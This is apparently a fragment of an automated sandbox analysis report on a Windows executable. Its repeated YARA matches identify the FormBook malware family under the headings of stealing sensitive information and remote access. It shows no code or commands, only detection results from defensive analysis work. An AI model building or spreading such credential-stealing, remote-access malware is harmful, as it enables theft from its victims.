Source: explorer.exe, 00000005.00000000.343823021.0000000000EE0000.00000002.00000001.sdmp, ipconfig.exe, 00000007.00000002.601794902.0000000005BB0000.00000002.00000001.sdmp Binary or memory string: &Program Manager
Source: explorer.exe, 00000005.00000000.343823021.0000000000EE0000.00000002.00000001.sdmp, ipconfig.exe, 00000007.00000002.601794902.0000000005BB0000.00000002.00000001.sdmp Binary or memory string: Progmanlock
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 0_2_0040205A EntryPoint,GetVersion,GetStartupInfoW,GetModuleHandleA, 0_2_0040205A

Stealing of Sensitive Information:

barindex
Yara detected FormBook
Source: Yara match File source: 0.2.v8kZUFgdD4.exe.21d0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.v8kZUFgdD4.exe.21d0000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.v8kZUFgdD4.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.v8kZUFgdD4.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.1.v8kZUFgdD4.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000007.00000002.599150521.0000000001330000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.389518635.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.597969689.0000000000EA0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.341137782.00000000021D0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.389832598.00000000009F0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.598432080.0000000001100000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.389732615.00000000005B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000001.339035509.0000000000400000.00000040.00020000.sdmp, type: MEMORY

Remote Access Functionality:

barindex
Yara detected FormBook
Source: Yara match File source: 0.2.v8kZUFgdD4.exe.21d0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.v8kZUFgdD4.exe.21d0000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.v8kZUFgdD4.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.v8kZUFgdD4.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.1.v8kZUFgdD4.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000007.00000002.599150521.0000000001330000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.389518635.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.597969689.0000000000EA0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.341137782.00000000021D0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.389832598.00000000009F0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.598432080.0000000001100000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.389732615.00000000005B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000001.339035509.0000000000400000.00000040.00020000.sdmp, type: MEMORY
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs